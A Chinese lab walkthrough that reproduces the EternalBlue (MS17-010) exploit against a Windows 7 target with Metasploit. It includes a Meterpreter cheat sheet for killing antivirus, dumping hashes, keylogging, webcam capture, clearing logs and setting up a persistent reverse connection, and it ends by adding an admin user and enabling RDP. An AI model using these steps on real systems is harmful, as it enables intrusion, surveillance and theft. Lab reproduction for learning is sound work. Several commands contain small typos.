一、漏洞简介
1、永恒之蓝介绍:
永恒之蓝漏洞(MS17-010),它的爆发源于 WannaCry 勒索病毒的诞生,该病毒是不法分子利用NSA(National Security Agency,美国国家安全局)泄露的漏洞 “EternalBlue”(永恒之蓝)进行改造而成 。勒索病毒的肆虐,俨然是一场全球性互联网灾难,给广大电脑用户造成了巨大损失。据统计,全球100多个国家和地区超过10万台电脑遭到了勒索病毒攻击、感染。
2、漏洞原理:永恒之蓝漏洞通过 TCP 的445和139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机。只要用户主机开机联网,即可通过该漏洞控制用户的主机。不法分子就能在其电脑或服务器中植入勒索病毒、窃取用户隐私、远程控制木马等恶意程序。
3、影响版本:
目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
二、开始复现
1、复现环境
条件kali与win7在同一局域网下并且可以互相ping通
ifconfig#查看kali主机IP
kali:192.168.88.139
ipconfig#查看win7主机IP
win7:192.168.88.128
要保证win7的防火墙是关闭的
firewall.cpl#打开控制面板主页命令
如果有永恒之蓝补丁记得删除!!!
2、复现过程
回到kali 打开终端用nmap来扫描win7 IP与端口号
nmap 192.168.88.0/24
扫完以后发现,win7的445端口是开放的,而永恒之蓝漏洞就是利用445端口的,SMB(服务器消息块) 操作系统溢出漏洞。
使用msf的ms17-010模块来进行复现
打开msf
msfconsole -q#高级指令 msfconsole msfconsole -q:不显示进入的提示信息
搜索ms17-010
search ms17_010
这里可以得到一些工具,其中
auxiliary/scanner/smb/smb_ms17_010 是永恒之蓝扫描模块,
exploit/windows/smb/ms17_010_eternalblue 是永恒之蓝攻击模块。
一般配合使用,前者先扫描,若显示有漏洞,再进行攻击。
使用模块:直接输入对应的数字就可以了
user 2
设置目标IP或网段
set rhosts 192.168.88.128
执行:run或者exploit
如果出现以上命令行表示成功
接下来在这个命令行下可以使用
Meterpreter 常用命令
chcp 65001 #shell 编码乱码
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run windows/gather/smart_hashdump #dump出所有用户的hash
clearev #清除事件日志
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
run hashdump #导出密码的哈希
load kiwi #加载
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下
getpid #查看当前Meterpreter Shell的进程
PIDmigrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户,密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27 #反弹时间间隔是5s 会自动连接
192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389 #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev #清除日志
输入shell
但是通常会出现乱码
可以用命令chcp 65001来解决
chcp 65001
创建一个新用户
格式:net user 用户 密码 /add
net uesr hack 123 /add
用net uesr 查看一下是否添加成功
添加成功了但是新建的用户权限太小了
用以下命令提升一下权限
net localgroup administrators hack /add
接下来看一下3389远程连接是否开启
netstat -ano | findstr 3389
这里我发现win7的3389并没有开启,开启3389端口,命令:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3389打开成功
用quit退出msf
接下来用rdesktop命令来进行远程连接靶机
rdesktop 192.168.88.128:3389
接下来使用我们刚才创建的用户进行登录
登录成功!
这只是一个简单的复现 这个漏洞是很危险的 真正的攻击可以做到很多事情
版权归原作者 铁柱123 所有, 如有侵权,请联系我们删除。